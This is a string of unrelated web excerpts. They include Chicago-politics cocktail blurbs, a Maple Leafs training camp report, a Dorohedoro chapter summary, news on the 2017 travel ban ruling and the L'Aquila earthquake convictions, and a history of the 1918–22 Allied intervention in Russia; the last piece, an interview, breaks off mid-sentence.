Longtime U.S. Congressman Dan Rostenkowski famously called Chicago politics “blood sport.” We raise a glass to one of Chicago's own with a Polish twist on a classic cocktail. Original Chicago Cocktail: How's Harold? June 17: Whether it was dancing with a polka queen or meeting with protesters, Mayor Harold Washington was always smiling. We celebrate Chicago’s first and so far only African-American mayor with the signature drink, How’s Harold? Original Chicago Cocktail: Kentucky Colony June 10: Chicago’s early history has a surprising amount of Kentucky in it, including five-time Chicago Mayor Carter Henry Harrison. We honor Harrison’s old Kentucky home by putting a Chicago spin on the classic mint julep. Original Chicago Cocktail: The Man on Five June 3: Forty years after Richard J. Daley’s death, Chicago still identifies itself with the man who steered it for more than two decades. Belly up to the bar and get a little taste of Chicago’s spirited history: an Irish whiskey and smoky mezcal blended drink. Original Chicago Cocktail: Mayor Bossy May 27: Following a whopper of a blizzard in 1979, Sauganash native Jane Byrne narrowly upset Mayor Michael Bilandic for the Democratic mayoral nomination. Belly up to the bar and get a little taste of Chicago’s spirited history: a frosty milkshake spiked with whiskey and vodka. Original Chicago Cocktail: Lord of the Levee May 20: For our second installment, we’re saying “cheers” with the Lord of the Levee drink, inspired by Aldermen “Bathhouse” John Coughlin and Michael “Hinky Dink” Kenna. Original Chicago Cocktail: The Hinky Drink May 13: Belly up to the bar and get a little taste of Chicago’s spirited history. We're raising a glass to Michael “Hinky Dink” Kenna, who famously crowed “Chicago ain’t no sissy town.” -It was fun to be back at the arena again to see all of the familiar faces and some of the new ones. The Leafs were split into two teams/practice squads (Team A and Team B, very creative) that took over the ice on the Leafs rink and the Marlies rink. Maple Leafs Training Camp Roster 2013 Latest Cuts: Stuart Percy, Andrew MacWilliam reassigned to Marlies. # Player Pos. # Player Pos. * Indicates rookie tournament attendee 31 Garret Sparks* G 35 Drew MacIntyre G 34 James Reimer G 45 Jonathan Bernier G 72 Antoine Bibeau* G 82 Christopher Gibson* G 2 Mark Fraser D 8 Petter Granberg* D 3 Dion Phaneuf D 12 Mason Raymond F 11 Jay McClement F 21 James van Riemsdyk F 15 Paul Ranger D 22 Joe Colborne F 26 John-Michael Liles D 23 Trevor Smith F 32 Josh Leivo* F 25 T.J. Brennan D 37 Carter Ashton F 29 Jerry D'Amigo F 38 Frazer McLaren F 36 Carl Gunnarsson D 39 Greg McKegg* F 44 Morgan Rielly* D 40 Troy Bodie F 47 Tyler Biggs* F 41 Nikolai Kulemin F 51 Jake Gardiner D 42 Tyler Bozak F 52 Sam Carrick F 43 Nazem Kadri F 55 Korbinian Holzer D 46 David Broll* F 56 Spencer Abbott F 48 Brad Ross* F 57 Andrew MacWilliam* D 49 Jesse Blacker D 58 Andrew Crescenzi F 50 Stuart Percy* D 59 Jamie Devane* F 54 Frederik Gauthier* F 61 Dylan Yeo D 60 Kevin Marshall D 63 David Bolland F 68 Zachary Yuen D 67 Kevin Raine* D 69 Trevor Murphy* D 78 Connor Brown* F 71 David Clarkson F 79 Ryan Rupert* F 81 Phil Kessel F 86 Matt Rupert F 92 Carter Verhaeghe* F 94 Fabrice Herzog F It is a big task to try and watch any given player due to the sheer number (59 individuals at camp) of skaters, but I tried my best. I wanted to focus on the newest additions and the ones who were trying to make the team. The practice started with drills and then progressed to an organized scrimmage that stopped the shift every 20 seconds (dictated by the irritating horn on the score clock). While I was trying to watch the new guys, it was very evident that Phil Kessel is absolutely flying. His puck skills (undressed Bozak at one point) were incredible and skating is second to very few in the NHL. I am sure most of you want to know about Jonathan Bernier, Mason Raymond, and Paul Ranger. So without further rambling, here we go. Bernier was solid. His movements are incredibly poised and under control. During the second scrimmage, I am not sure he let in a goal the entire time he was on the ice. Up/Downs are so very quick, he makes it all look very effortless. Mason Raymond is a roadrunner on the ice. Absolutely one of the fastest guys on an already quick team (caveat: I said similar about Lombardi last camp). Onto Paul Ranger, who was simple and effective in what I saw, but certainly didn’t stand out in any real regard. That is a good thing in an NHL defenceman, and I cannot wait to see more from him tomorrow. Team B, as they are known, didn’t have the same intensity and pace that Team A did. I’m not sure why; maybe they are less talented as a group or just young, but there was a noticeable drop off in play from rink to rink. While the hockey was fast paced, it had a few solid hits today. The first one was Mark Fraser stepping into Bradley Ross just inside the blue line. Ross got up looking pissed but realized it was Fraser, and skated to the bench with a smile on his face. Good choice. Next up was a solid battle between David Clarkson and Kevin Marshall. It was behind the net along the boards, and I thought it just may escalate to a fight; sadly, it wasn’t to be. Finally, at the end of scrimmage, Carter Ashton stepped into Dion Phaneuf in the middle of the ice. Dion wasn’t pleased but just hopped back up and continued his shift. I had a great chat with Paul Hendrick again today, who is always engaging. We got to talk hockey for a solid 20 minutes during one of the scrimmages. He has excellent insight to the team personnel and genuinely loves hockey. New favourite media members are Jonas Siegel and Caroline Cameron from SportsNet. I think even Big Daddy smiled in my general direction today. The security lady told me where the muffins and coffee were and to “help myself,” but I prefer the Dallas Eakins style with veggies and fruits. Sorry if this has been a huge rambling run-on sentence. My mind is spinning at this point from all of that action crammed into three hours of fun. Thanks for reading, and see you all tomorrow. -We all know the feeling. You lose your friends at a festival, you find yourself at a stage you didn't even know existed, and you realise the only way forward is to hide how insanely out-of-place you feel, by pretending you know and love every track ever released by whoever that band or DJ is on stage. Now imagine doing that for an entire weekend. As Wilderness Festival unfolded in rural England this weekend, a priceless photo emerged of a man attempting to do just that. And, to be brutally honest, failing miserably. David Cameron at Wilderness Festival, popping up in a selfie taken by Labour supporter Vanessa Price. Photo credit: SWNS.com Unsurprisingly for a politician whose background, career and celebrity set him a world apart from the average festival fan, David Cameron didn't quite manage to blend into the background. But even the most ardent critic of the former UK Prime Minister would have to admit his photobombing game is strong. It takes a while to spot him, but finding his distinctly awkward face among the crowd is a triumph reminiscent of picking out Wally (or Waldo, if you're from that part of the world) from a sea of football fans, factory workers or beach-goers. The fact that no-one around him seems to have noticed he's even there is either real creepy (like, he still exists in bodily form, right?) or further evidence that he's simply not part of the world he's stumbled into. And to make matters worse – or better, depending on your viewpoint – Cameron also managed to get himself snapped in an affectionate embrace with a supporter of The Worst Man In History. That's right, Dave, this photo is real and can never be untaken. Photo credit: Lucy Edwards Lucy Edwards said she "couldn't have even planned it. Big Dave C in the house, shame he can't read. He was so mad when he saw me walk off with what was on my back." At least he can console himself with a large glass (is that white wine on the rocks?) and a cheeky cigarette. Couldn't have got away with that as PM, could you Cam? More like this: -Dorohedoro Ch.151 Abridged (Slightly) larger versions of pictures can be found HERE. If you missed it: 150 abridged. DISCLAIMER: I am NOT fluent in Japanese. Chapter 151: Dreaming of Another Dimension Devil Nikaido has asked Kaiman to give her Store’s Kitchen Knife, but he doesn’t want to hand it over. Devil Nikaido: Give it to me, Kaiman. It’s too heavy for you. Kaiman: .oO(…How embarrassing!! But I can’t deny that it’s heavy!!) Kaiman: If you want it, come and take it from me. Devil Nikaido: Fine. Asu: It’d be better to hand it over peacefully. This is why humans disgust me. Magic Users: ……… Zombie Haze: Oogagah. Devil Nikaido: *poof* Kaiman: She disappeared! Devil Nikaido: *comes up behind Kaiman* I didn’t disappear. I’m just moving at high speed. Kaiman: You… *is grabbed by Devil Nikaido* Eh? Devil Nikaido: *throws Kaiman in the air* Higher, higher! Kaiman: UWAAAAH!! Kaiman: *gets knocked out by ceiling and loses grip on Store’s Kitchen Knife* Devil Nikaido: *catches both Kaiman and Store’s Kitchen Knife* Devil Nikaido: .oO(This Kaiman was revived from the head that was submerged in formalin… It has to have been [done by] the me that came from the future… There must’ve been a reason for it…) Devil Nikaido: .oO(If that’s the case, then I can’t afford to expose Kaiman to danger…) Kaiman: Umm… Okay, I get it, you can put me down now… Devil Nikaido: *tosses Kaiman* There you go! Kaiman: I didn’t say “throw me”! Asu: It’s useless to argue back and forth. Zombie Haze: Oogaga. Kaiman: To Hell with you! I’ll get my face back myself! Devil Nikaido: Kaiman’s face…? It was changed by Ebisu’s magic… Hm…? Magic Users: ……… Meanwhile, at Hole’s Central Hospital… Thirteen: It’s so quiet. Vaux: We have to drive the magic users out of the hospital! Note: in the previous chapter, Vaux hurried to get to the hospital before Hole could find the magic users inside to prevent Hole from wrecking the hospital. Vaux: AHH! Hole: *peeks out from behind hospital* En Family Minion: Wh… what’s that……? Vaux: Shit, he got inside! En Family Minion: Uwaah! En Family Minion: *runs* WAAA!! En Family Minion: *pant pant* Gotta make it to the others… and warn them… En Family Minion: *looks behind* He’s not here yet… Hm!? What the… Hole: *bursts up from the floor* En Family Minion: WAAH! Hole: *plows through the floor* En Family Minion: UWAAA!! Chidaruma: Hole-kun is so reckless and messy… En Family Minion: Everyone…! Danger…!! Ugh. Kaiman: *sulking* Devil Nikaido: Kaiman…… Asu: Nikaido… stop worrying about Kaiman so much. After all, he’s just a human. You are an elite magic user, and now a devil. You are worlds apart. Kaiman: I can hear all that, you little brat! You’re pissing me off! Asu: More importantly, we have to come up with a way to retrieve your magic box… Devil Nikaido: As for that… there’s nothing I need to do… I think. Asu: What do you mean? Devil Nikaido: When I used time magic in the Central Department Store, I met my past self inside the Black House… I gave my past self Store’s Kitchen Knife and returned to my own time. Then, according to Kaiman, the past self who I gave the knife to suddenly vanished. Devil Nikaido: This magic is directed by the self which used it. Asu: In other words… Devil Nikaido: For instance… I used the magic at 9 o’clock… and traveled to 20 minutes in the past, to 8:40… So now in that past there were 2 of me: the 9 o’clock self who used the magic, and the 8:40 self. Devil Nikaido: At that point the past me thought she’d have to fight Haru, but I gave her Store’s Kitchen Knife. I gave it to her to influence her behavior, to change the future… The 9 o’clock self who used the magic returned to 9 o’clock… Devil Nikaido: But that 9 o’clock was created as the result of changes I made to the past… It was a new 9 o’clock where I didn’t fight Haru… Devil Nikaido: In that new timeline, the past self who I met with at 8:40 also existed… And naturally, after 20 minutes passed and it became 9 o’clock, there should’ve been 2 Nikaidos at the same time… Devil Nikaido: But my magic doesn’t allow for that. When the self who used the magic returns to her original time, the other self disappears… Devil Nikaido: Disappears… or, perhaps it’s more accurate to say that the extra self is integrated… Asu: Yes, I see, that must be a rule governing your magic. But what does that have to do with getting your magic box back? Devil Nikaido: There is no doubt that my devil self which came from the future exists. My future self gave my current self some advice… Devil Nikaido: Then, most likely, she also revived Kaiman from the formalin head… Asu: What?! Kaiman: R-revived me…?! Devil Nikaido: That is to say… my current self is… living within her changed timeline… ~Chapter 152 comes out February 7, 2017 in Japan!~ Poor Vaux is feeling helpless as he watches Hole tear apart his beloved hospital. Poor Kaiman is feeling useless as his best friend far surpassed him in power. All he wants is his human face back. One way to do that is for the magic user that hexed him to die. That magic user is Ebisu, who Chidaruma believes is dead, but could Kaiman’s lizard face be proof that she is alive? And, if so, who else may be alive? Dokuga (and Tetsujo and Risu) better be alive… -As citizens of Earth, we have layers of identity that make us unique from those around us as well as affiliating us with certain groups. Religion usually plays an important role in forging our personal identity. In developed countries, you don’t necessarily have to subscribe to a particular organized religion, although the same is not true in countries where theocratic governments demand that their citizens pledge allegiance to a particular faith. Moreover, the law in these societies doesn’t permit people to convert from one religion to another—such governments often have a declared state religion that allows adherents from other traditions to join, but not the other way around. Then there is Buddhism, which is in many respects a unique tradition. Some practitioners do not regard it as a religion, but more as a way of life, a journey to inner awakening founded by the Buddha. Many contemporary Buddhists will say that Buddhism is more Dharma than religion. Obviously, Buddhism in the West is evolving as a spiritual path that is non-dogmatic and values the internal development of love and wisdom over doctrine. This is a trend that is also beginning to emerge in Asia. It is simply a matter of time before it becomes more widespread. There are now millions and millions of people across the world who identify as Buddhists. For many of them it is because they were born into a culture that itself identifies as Buddhist, although this does not mean that they automatically understand the depth of the Buddha’s teachings. Identifying as a Buddhist is a tricky business when one does not truly understand what Buddhism is. It must be more than worshiping statues, or visiting temples on holy occasions or when one seeks divine intervention in the midst of a personal catastrophe such as losing a loved one, falling ill, or encountering a serious mishap. In the purest sense, to be a Buddhist means to be someone who follows the teachings of Shakyamuni Buddha, such as the Noble Eightfold Path. Some might say that taking the vow of refuge is a bona fide initiation that renders someone a Buddhist overnight. This makes the process sound quite simple. Usually, performing a refuge ceremony can be done in less than half an hour, but is the ceremonial repeating of the vows after a Dharma teacher and receiving a symbolic haircut sufficient for someone to be transformed into a new Buddhist? Most ordinations in the Buddhist tradition require preparatory steps before one can even become a candidate. And there must be proper intention and right understanding about the path that one is preparing to embark upon. Merely participating in such an initiation ceremony is not the complete rite of passage to becoming a true student of the Buddha. There is also the danger of turning Buddhism into an “ethnic” religion—when someone becomes a Buddhist by the sheer merit of being born in a Buddhist country or culture. Buddhism is not an ethnic religion; the Buddha himself stated that caste and race are irrelevant in his sangha, or holy community. For him, what matters most is understanding the Dharma that he discovered. During his lifetime, the Buddha welcomed men, women, Brahmins, and “untouchables,” transcending all of these divisions in the world of his Dharma. This all-embracing spirit resonates with many people still considered “untouchables” in today’s India. When the celebrated Indian scholar, activist, and social reformer Dr. B. R. Ambedkar (1891–1956) was searching for a new spiritual tradition for himself and his fellow Dalits, in the end he found that Buddhism was the most appealing because its egalitarian philosophy would accept his people no matter their race or caste. -"I think Trump is in the White House because of me." Following Donald Trump's win, a conversation has emerged about whether or not fake news on Facebook helped swing the election his way. The Washington Post interviewed the man behind many viral fake news stories, 38-year-old Paul Horner. "I think Trump is in the White House because of me," said Horner, adding that his sites were constantly picked up by Trump supporters. "His followers don't fact-check anything — they'll post everything, believe anything. His campaign manager posted my story about a protester getting paid $3,500 as fact. Like, I made that up. I posted a fake ad on Craigslist." Horner claims he was trying to make Trump and his supporters look bad. "I thought they'd fact-check it, and it'd make them look worse," Horner told the publication. "Looking back, instead of hurting the campaign, I think I helped it, and that feels [bad]." The fake news writer said he never thought Trump would win and become president. "They just keep passing stuff around. Nobody fact-checks anything anymore — I mean, that's how Trump got elected. He just said whatever he wanted, and people believed everything, and when the things he said turned out not to be true, people didn't care because they'd already accepted it. It's real scary. I've never seen anything like it." Horner fancies himself a writer of satire, saying he likes to get lumped in with The Onion. He said he makes $10,000 a month from Google AdSense. He thinks that the "horrible sites" that have "no creativity or purpose" behind them should be washed out by Google and Facebook's new desire to clean up fake news, but he hopes his own sites that have "purpose and meaning" will not be affected. -The unanimous ruling from a three-judge panel means that citizens of seven majority-Muslim countries will continue to be able to travel to the US, despite Trump's executive order last month. It is a significant political setback to Trump's new administration and raises questions about how the courts will view his apparent vision for an expansive use of executive power from the Oval Office on which he is anchoring the early weeks of his presidency. "The government has pointed to no evidence that any alien from any of the countries named in the order has perpetrated a terrorist attack in the United States," the judges wrote. "Rather than present evidence to explain the need for the Executive Order, the government has taken the position that we must not review its decision at all." The judges added that while "the public has a powerful interest in national security and in the ability of an elected president to enact policies... the public also has an interest in free flow of travel, in avoiding separation of families, and in freedom from discrimination." Trump immediately tweeted his reaction to the ruling: "SEE YOU IN COURT, THE SECURITY OF OUR NATION IS AT STAKE!" SEE YOU IN COURT, THE SECURITY OF OUR NATION IS AT STAKE! — Donald J. Trump (@realDonaldTrump) February 9, 2017 "It's a political decision, we're going to see them in court, and I look forward to doing that," Trump told reporters in the White House Thursday. "It's a decision that we'll win, in my opinion, very easily." Trump's presidential rival Hillary Clinton celebrated the decision, tweeting simply "3-0." 3-0 — Hillary Clinton (@HillaryClinton) February 10, 2017 The states of Washington and Minnesota had challenged the ban. "Bottom line, this is a complete victory for the state of Washington," said state Attorney General Bob Ferguson. "The 9th Circuit Court of Appeals in a unanimous decision effectively granted everything we sought." Washington state Solicitor General Noah Purcell, who argued the case, responded to Trump's tweet on CNN's "Erin Burnett OutFront." "The irony from our perspective is that we've seen him in court twice now, and we've won both times. It's not like it doesn't count until you get to the Supreme Court," Purcell said. The Justice Department is reviewing the decision, it said in a statement. But given that the Supreme Court currently lacks its ninth member, there a real chance of a 4-4 split on the bench along ideological lines, which would have the effect of affirming the ruling of the 9th Circuit, inflicting a more permanent blow to the new administration. Fight over executive power The legal drama over the immigration executive order was the first episode in what could be a series of legal challenges to Trump's governing style and agenda and represents the first confrontation between his White House and the checks and balances of the American political system. The judges addressed each of the Justice Department's proffered reasons for reinstating the ban in great detail and rejected them all. Perhaps the most sweeping language came concerning the government's vast claim of executive power. The court rejected that in strong language: "There is no precedent to support this claimed unreviewability, which runs contrary to the fundamental structure of our constitutional democracy." They added: "Although our jurisprudence has long counseled deference to the political branches on matters of immigration and national security, neither the Supreme Court nor our court has ever held that courts lack the authority to review executive action in those arenas for compliance with the Constitution." The administration also argued the states did not have standing -- or the legal right -- to bring the suit. But the court disagreed. "(A)s the operators of state universities, the states may assert not only their own rights to extent affected by the Executive Order but may also assert the rights of their students and faculty members," the judges wrote. National security argument The court also chastised the Trump administration for failing to provide an explanation for how national security concerns justified an "urgent need" for the executive order to be immediately reinstated. It suggested the administration "could have provided the court "with classified information" but failed to do so. And while the administration had set forth a fallback argument in order to limit the scope of the temporary restraining order currently in place -- arguing that if the judges were inclined to uphold the lower court's decision to block Trump's ban, then the ruling should at least be limited to people who have previously been admitted to the US -- the appellate court was unconvinced. "It is not our role to try, in effect, to rewrite the Executive Order. ...The political branches are far better equipped to make appropriate distinctions," the court explained. The court said that it had to look at the interest of the public. It acknowledged that the public had a "powerful interest" in national security and in the "ability of an elected president to enact policies" but that the states had a stronger argument. "The public has an interest in free flow of travel, in avoiding separation of families, and in freedom from discrimination," the judges wrote. What's next? Trump's executive order bars citizens of Iraq, Syria, Iran, Libya, Somalia, Sudan and Yemen from entering the US for 90 days, all refugees for 120 days and indefinitely halts refugees from Syria. Trump issued the travel ban January 27, causing chaos, confusion and protests at international airports as the legal status of people in transition was suddenly thrown into question. Lawsuits have been filed across the country, but it was one from federal Judge James Robart in Seattle last Friday that blocked the travel ban nationwide, clearing the way for resumed travel from the seven countries. The administration appealed, and the three-judge panel heard oral arguments Tuesday evening via telephone and issued the ruling Thursday per curiam, meaning it is unsigned and there was no dissent. Judge Michelle T. Friedland, who was appointed by President Barack Obama, Judge William C. Canby Jr, an appointee of President Jimmy Carter, and Judge Richard R. Clifton, an appointee of President George W. Bush, heard the case. "The Trump administration has lost dramatically and completely," said Jeffery Toobin, a CNN political analyst, on "The Situation Room." "This decision will have a lot more public credibility because it is unanimous, and I think it complicates the Trump administration's attempt, if they choose to make it, to disparage this decision as a political act," Toobin said. The administration has not announced its next step, but Trump has previously indicated that he would take the case all the way to the Supreme Court if necessary, a move that would set up a legal showdown of even higher stakes and visibility. Should it choose, before it goes to the Supreme Court, the Justice Department has the option of asking for an en banc review of the three-judge panel ruling among judges of the full 9th Circuit. -Seven scientists and experts on trial for manslaughter linked to an earthquake in Italy that killed more than 300 people have been convicted and sentenced to six years in prison, a court has ruled. The victims of the earthquake in L'Aquila have also been awarded between €40,000 to €450,000 ($52,000 to $584,000 Cdn), said freelance journalist Megan Williams. Italian prosecutors say that the scientists gave inaccurate and incomplete information about whether smaller tremors before the April 2009 quake should have been grounds for an official warning. The 6.9 magnitude earthquake left 309 people dead and injured more than 1,500 others. Judge Marco Billi took slightly more than four hours to reach the verdict, the BBC reported. In Italy, convictions aren't definitive until after an appeals trial, so it is unlikely any of the defendants would face jail immediately. Charges 'unfair and naive,' scientists say Among those convicted were some of Italy's most prominent and internationally respected seismologists and geological experts, including Enzo Boschi, former head of the national Institute of Geophysics and Volcanology. "I am dejected, desperate," Boschi said after the verdict. "I thought I would have been acquitted. I still don't understand what I was convicted of." Another convicted defendant, Bernardo De Bernardinis, a former official of the national Civil Protection agency, said "I consider myself innocent before God and men." During the trial, which began in September 2011, the defence had argued it is impossible to predict quakes. Seismologists have long concurred, saying the technology doesn't exist to predict a quake and that no major temblor has ever been foretold. The chief executive of the American Association for the Advancement of Science (AAAS), a non-profit organization which publishes the journal Science, wrote a letter in 2010 to Italian President Giorgio Napolitano calling the charges against the experts' "unfair and naive". "The basis for indictments brought by the local prosecutor in L’Aquila appears to be that the scientists failed to alert the population of L’Aquila of an impending earthquake," wrote Alan I. Leshner, CEO of the AAAS and executive publisher of Science. "However, there is no way they could have done that credibly." 'They would have fled that night' But prosecutors focused on a memo issued after a meeting of the Great Risks commission — a committee which the scientists were part of, and which evaluates potential for natural disasters — before the earthquake. The March 31, 2009 meeting was called because of mounting concerns about the months of seismic activity in the region. Many much smaller earth tremors had rattled the area in the months before the quake, causing frightened people to wonder if they should evacuate. According to the commission's memo, issued one week before the big quake, the experts concluded that it was "improbable" that there would be a major quake though it added that one couldn't be excluded. Afterward, members of the commission gave reassuring interviews to local media stressing the impossibility of predicting quakes and that even six months worth of low-magnitude temblors was not unusual in the highly seismic region and didn't mean a big one was coming. The BBC reported that prosecutors, in their closing statement, quoted one of their witnesses whose father died in the earthquake. The statement described how Guido Fioravanti called his mother on the night of the earthquake, after the first tremor, the BBC said. "I remember the fear in her voice. On other occasions they would have fled but that night, with my father, they told themselves what the risk commission had said. And they stayed." -Lebanon's Energy and Water Minister Cesar Abou Khalil speaks during a news conference in Beirut, Lebanon April 26, 2017. REUTERS/Mohamed Azakir BEIRUT (Reuters) - Lebanon’s Energy Minister Cesar Abi Khalil on Thursday said a tender had closed on a first round of offshore energy blocks, and told local media that two consortiums had submitted bids. It will take years for revenue from any of the blocks to start flowing to the country, he said in a televised news conference. “The first licensing round for oil exploration closed,” he said. The country’s petroleum authority and the cabinet will evaluate the bids, he added. The local English-language Daily Star reported that Abi Khalil told it that two bids were submitted and that there were French, Italian and Russian companies involved in those bids. Lebanon relaunched the licensing round for five offshore blocks (1, 4, 8, 9 and 10) in January after a three-year delay due to political paralysis. It extended the bid deadline in September. Lebanon sits on the Levant Basin in the eastern Mediterranean along with Cyprus, Egypt, Israel and Syria. A number of gas fields have been discovered there since 2009, such as the Leviathan and Tamar fields. A total of 52 companies qualified earlier in the year to bid in this round. When the process was first launched in 2013, 46 companies qualified to take part in bidding, 12 of them as operators, including Chevron Corp, Total SA and Exxon Mobil Corp. -"My greatest fear in the state of Maine: newspapers," he said to laughter from the children. "I'm not a fan of newspapers." [...] "There's a lack of objectivity," he said. "If they were fair and balanced, I would be a supporter." Maine Gov. Paul LePage has stood out from the crop of far-right Republican governors elected in 2010 not for being less extremist than his peers like Ohio's John Kasich and Wisconsin's Scott Walker, but for being the biggest buffoon of the lot. So no wonder, when a student asked him about his greatest fear as governor, LePage answered:Right. Fair and balanced. Of course a governor who signed a law weakening child labor laws not long after making clear he didn't really know what was in the law has reason to fear newspapers or anything other than "fair and balanced" (wink wink) news coverage. Of course a governor who said the IRS was headed toward being like the Gestapo has reason to fear reporting lacking that special "fair and balanced" flavor being read by the people of his state. LePage also said that education unions "are doing an awful, awful thing to future generations of Mainers," assailing the state's public education system and pushing charter schools as an alternative. For the record, Maine is above the U.S. average on every category of National Assessment of Educational Progress testing and has a high school graduation rate well above the national average. Basically, LePage hates and fears anyone who stands against his extremist agenda. And because in his case the perpetual debate over whether Republican politicians are stupid, evil, or both is answered with a resounding "probably both, but definitely stupid," you get a buffoon elected with 38 percent of the vote lashing out at a lot of targets much more respected than he is. -Critical Enquiry Forgotten History US and Allied Wars in Russia, 1918-22 Many Americans would be surprised to learn that the USA, along with Britain, France, and Japan, fought a campaign in Russia just after the Great War (World War I). The primary objective of this action was the re-establishment of an Eastern Front following the collapse of the Russian government during the 1917 Bolshevik revolution, but Allied fear of communist ambitions in other countries also played into the intervention as will be seen below. The overall campaign was named the Polar Bear Expedition, but was also known as the Northern Russian Expedition, the American North Russia Expeditionary Force - ANREF or the American Expeditionary Force North Russia - AEFNR. These efforts are not mentioned in most history survey courses, and few texts even mention that US troops (or those of any other nation) fought against the Bolsheviks during this period. The presence of US Army units from Michigan in Vladivostok, Archangel, and other Russian locations is rarely noted although the University of Michigan maintains an archive of photographs and other primary evidence relating to the period. From the Louis E. Schicker collection in the University of Michigan's Polar Bear archives Troops were sent to Russia near the close of World War I for several reasons, all of which were related to the instability of the Russian government. First, the Russian army's disastrous defeat at the hands of the Germans resulted in the abdication of Tsar Nicholas II. Initially his government was replaced by an interim democratic administration (the only democratic regime that has ever existed in Russia) under the leadership of Alexander Kerensky. This change in government structure caused president Woodrow Wilson to change his mind about participation in the war. He had initially refused to commit the US to an alliance with the despotic Tsarist government. Thus, US troops were mustered for action on the Western Front. However, in October 1917 the Bolshevik revolution replaced the Kerensky government with communist rule under Lenin, Trotsky, and Stalin. This resulted in the withdrawl of Russian troops from the Eastern front as the new government negotiated a separate peace with Germany under the Treaty of Brest-Litovsk. Loss of the Eastern Front placed additional pressure on Allied troops from the US, France, Britain, and other countries fighting on the Western Front. The Germans were able to move troops from Eastern borders to French battlefields, thus strengthening their hand. The change of government also left at risk vast amounts of military materiel and armaments provided by Britain to the Kerensky government. There was concern that these supplies would be captured by the Germans or (worse) the Bolsheviks. This was unacceptable, both from a military and economic standpoint. There was also a concern that the armaments might be used against other European powers once the newly established communist government built up the newly minted red Army's power. Western nations greatly feared Marxism, which taught that industrial powers would eventually be overthrown in "peoples' revolutions" as the "proletariat" took their rightful place. The idea of a heavily armed communist state was, as a result, extremely unpalatable to most Western governments. The various Allies are estimated to have sent the following strength of troops to the Russian campaign (from Wikipedia): 50,000 Czechoslovaks [4] 28,000 Japanese (later increased to 70,000 [5] Vladivostok region) Vladivostok region) 24,000 Greeks (in Crimea and the Ukraine) 13,000 Americans (in Arkhangelsk and Vladivostok regions) 12,000 Poles (mostly in Crimea and the Ukraine) 4,000 Canadians (in Arkhangelsk and Vladivostok regions) 4,000 Serbs (in Arkhangelsk and Vladivostok regions) 4,000 Romanians (in Arkhangelsk region) 2,000 Italians (in Arkhangelsk and Vladivostok regions) 1,600 British (in Arkhangelsk and Vladivostok regions) 760 French (mostly in Arkhangelsk and Vladivostok regions Obviously the British and French were desperately short of troops due to commitments on the Western Front. Thus their contribution to the Eastern campaign was very small in terms of personnel. American troops were deployed in Archangel (Arkangelsk), Murmansk, and Vladivostok. Many of these troops were from units organized in Michigan, including the 339th Infantry, 310th Engineers, 337th Field Hospital, and 337th Ambulance Company. This group later adopted the name "The Polar Bear Expedition," and members referred to themselves as Polar Bears. American Troops Arriving at Vladivostok US involvement in this ill-conceived expedition was short. Once the Armistice was signed on November 11, 1918 the Wilson government began receiving letters and petitions to bring the troops home from Siberia and other regions in which they were deployed. Most were withdrawn from Russia by mid 1919, having lost several hundred men to combat as well as sickness (including the Spanish Flu). Video from YouTube showing US soldiers from the 339th in Russia circa 1918. Consequences The Allied incursion generally accomplished nothing significant in terms of either foreign relations or military success. The small forces deployed to Russia were unable to break the power of the Red Army, and simply watched as the White Army (composed of anti-communist Russians) was slowly destroyed. Worse, the Allies are said to have made and then broken numerous promises of additional assistance made to Admiral Kolchak, the leader of a "government in exile" established at Omsk following the Bolshevik revolution. John Ward, who lead the British force known as "Die-Hards," states that It is certain that Admiral Koltchak would never have gone to Siberia, nor have become the head of the constitutional movement and government of Russia, if he had not been advised and even urged to do so by the Allies. He received the most categorical promises of whole-hearted support and early Allied recognition before he agreed to take up the dangerous duty of head of the Omsk Government. Had these urgings and promises been ungrudgingly performed a Constituent Assembly would be now sitting at Moscow hammering out the details of a Federal Constitution for a mighty Russian Republic or a parliamentary system similar to our own. (Ward, 1920) Having agreed to assist Kolchak and the anti-communists, the Allies then apparently worked at odds with each other rather than forming a united front behind his government. The British and Japanese were rabidly fearful of communism as a whole. The former were mindful of Marx' prediction that communism would be established first in England and France (the most industrialized nations when he wrote The Communist Manifesto), while the latter feared communism as a threat to the monarchy. [...] [the Allies'] help took the form of positive wilful obstruction. The Japanese, by bolstering up Semianoff and Kalmakoff, and the Americans, by protecting and organising enemies, made it practically impossible for the Omsk Government to maintain its authority or existence. The most that could be expected was that both would see the danger of their policy in time to avert disaster. One did; the other left when the evils created had got beyond control. Koltchak has not been destroyed so much by the acts of his enemies as by the stupidity and neglect of his Allied friends. (Ward, 1920) It may also be argued that this incursion into the fledgling Soviet Union (then called the Russian Soviet Federative Socialist Republic) by Allied forces set the stage for later Soviet fear of attack from the West. Certainly the intervention of foreign troops and their action against the new communist regime was a useful propaganda tool. It could be used to justify fear of capitalist states, the later creation of the eastern European Soviet bloc (as a buffer against invasion), and even the extermination of Soviet soldiers who came into contact with non-Soviet governments and military agencies. As is so often the case, a badly thought out short term foreign policy decision had serious ramifications for decades to come. Is it any surprise that this incident is not even discussed in US history classes? References Note: All information contained in these pages is © 2008 Richard E. Joltes. Excerpts may be used where proper credit is given and permission is obtained in advance. All rights reserved. -Sarah Jones has never shied away from strong female characters, and in her newest role she sparks a movement to empower women everywhere. I recently had the opportunity to speak with Jones about her upcoming role in USA’s newest period drama Damnation and how it’s ignited her passion and impacted her life. Damnation is about the fictional battle of corporate greed and the cultural revolution that encompasses Seth and Amelia Davenport as the dust settles. “Amelia is sort of the mastermind of this cause that surrounds one of the themes of the show,” Jones explained. “Seth and Amelia are moonlighting as a preacher and preacher’s wife to try to radicalize the local farmers strike against the food distributors who aren’t giving them a fair price for their crops and goods.” Jones has played strong female characters before, but Amelia left quite the impression. “What struck me initially about the character, aside from her tenacious commitment and cunning approach to furthering the cause, was that she has the ability to find the balance of living her truth while using societal expectations to her advantage without compromising her moral code,” she noted. She continued to explain that it was something that connected with her and that she wanted to learn from it as a woman living in 2017. “Amelia is driven by her compassion and righteous anger, and does it with grace, purity, and intention.” “What interested me most about Amelia was that her foundation is actually her moral compass, and her decisions and tactics aren’t coming from a place of manipulation or ambition to obtain some sort of power or personal gain,” Jones explained. She also said that’s something she hopes to take with her in her own life. When Jones was first given the script, she said she knew she had to be apart of this series. “My first reaction was, “wow.” I hadn’t read something like that in a long time, where I was struck by the content, by the message, and the characters. It had the whole package.” She quickly got the ball moving because she knew this was a huge opportunity. “I just thought, I have to be on this show, and I thought it was an important story to tell and an interesting way of doing that.” Jones said the preparation for the role was much more personal than for any previous one. “Aside from watching countless documentaries of that time period and women, my Bible became a book called Mother Jones Speaks,” she said. “It was about speeches and writings of Mary Harris Jones who was before Amelia’s time, but she at one point was called the most dangerous woman in America.” Jones spoke with passion as she went on to 